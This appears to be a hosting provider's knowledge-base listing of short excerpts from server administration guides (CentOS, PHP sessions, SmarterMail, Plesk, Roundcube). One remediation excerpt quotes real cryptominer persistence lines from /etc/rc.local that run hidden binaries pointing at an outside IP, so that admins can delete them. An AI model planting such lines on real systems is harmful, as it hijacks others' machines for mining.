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How to disable root access in CentOS?

Warning: CentOS 7 reached its end-of-life (EOL) on June 30, 2024. This means it no longer receives security updates or support from the developers. It is strongly recommended to upgrade to a supported operating system version, such as CentOS Stream 9 or an alternative Linux distribution, to maintain security and stability. Introduction Directly using the

How to Enable Session Support for PHP using .htaccess

Introduction Enabling session support in PHP is essential for maintaining user data across multiple web pages, such as login sessions, shopping carts, and user preferences. This guide will show you how to enable PHP sessions using the .htaccess file.   Step-by-Step Guide Step 1: Create a .htaccess File The .htaccess file is a powerful tool

How to move a domain to a different SmarterMail server

Introduction This article provides a step-by-step guide on how to move a domain from one SmarterMail server to another. It is intended for users who need to migrate domains between SmarterMail servers. The guide will walk you through exporting domain data, transferring files, and configuring the domain on the new server.   Prerequisites Access to

CentOS Installation with Software RAID

Warning: CentOS 7 reached its end-of-life (EOL) on June 30, 2024. This means it no longer receives security updates or support from the developers. It is strongly recommended to upgrade to a supported operating system version, such as CentOS Stream 9 or an alternative Linux distribution, to maintain security and stability.   Introduction This guide

Fixing high server loads caused by mining processes in Linux

If you encounter an abnormal high load process in your server, it may be due to hidden mining processes. vi /etc/rc.local Check for the following 2 lines in the file and remove it: nohup /usr/bin/_-pud 119.78.232.8 >/dev/null& nohup /usr/bin/_-minerd -c /usr/bin_-config 2> /dev/null& Remove the following files: rm /usr/bin/_-minerd rm /usr/bin/_-pud rm /usr/bin/_-config rm /etc/ld.so.preload

How to block email addresses in SmarterMail

If you want to block a specific email address on Smartermail, you may do so by following the steps below. Step 1 – Login into SmarterMail. Step 2 – Click “Content-Filtering” and “New”.   Step 3 – Tick “From specific addresses” under “From Address”.   Step 4 – Fill in the email address you wish

How To Edit AspMaxRequestEntityAllowed Value In Plesk

Introduction The AspMaxRequestEntityAllowed property defines the maximum number of bytes permitted in the entity body of an ASP request. If an incoming request’s content length exceeds this value, IIS (Internet Information Services) may return a 403 error. This can lead to issues where file uploads are unsuccessful, even if no explicit error message is returned,

How to Set Domain Registration Defaults

Domain default registration allows users to create different profiles to easily set domain contact preferences upon registering a new domain name. Step 1: Login to the Portal and select My Account from the Username drop-down menu. Step 2: In the following page, select Domain Defaults. Step 3: To create a profile, click Add. Step 4: Fill

Change Email Password on Roundcube Webmail

Introduction Password considered one of the elements to secure your account. And you may want to change the password to enhance your account security, either is based on routine maintenance or your personal preference. This guidance will go through the steps to change the password on your Roundcube Webmail.   Prerequisite Access to email account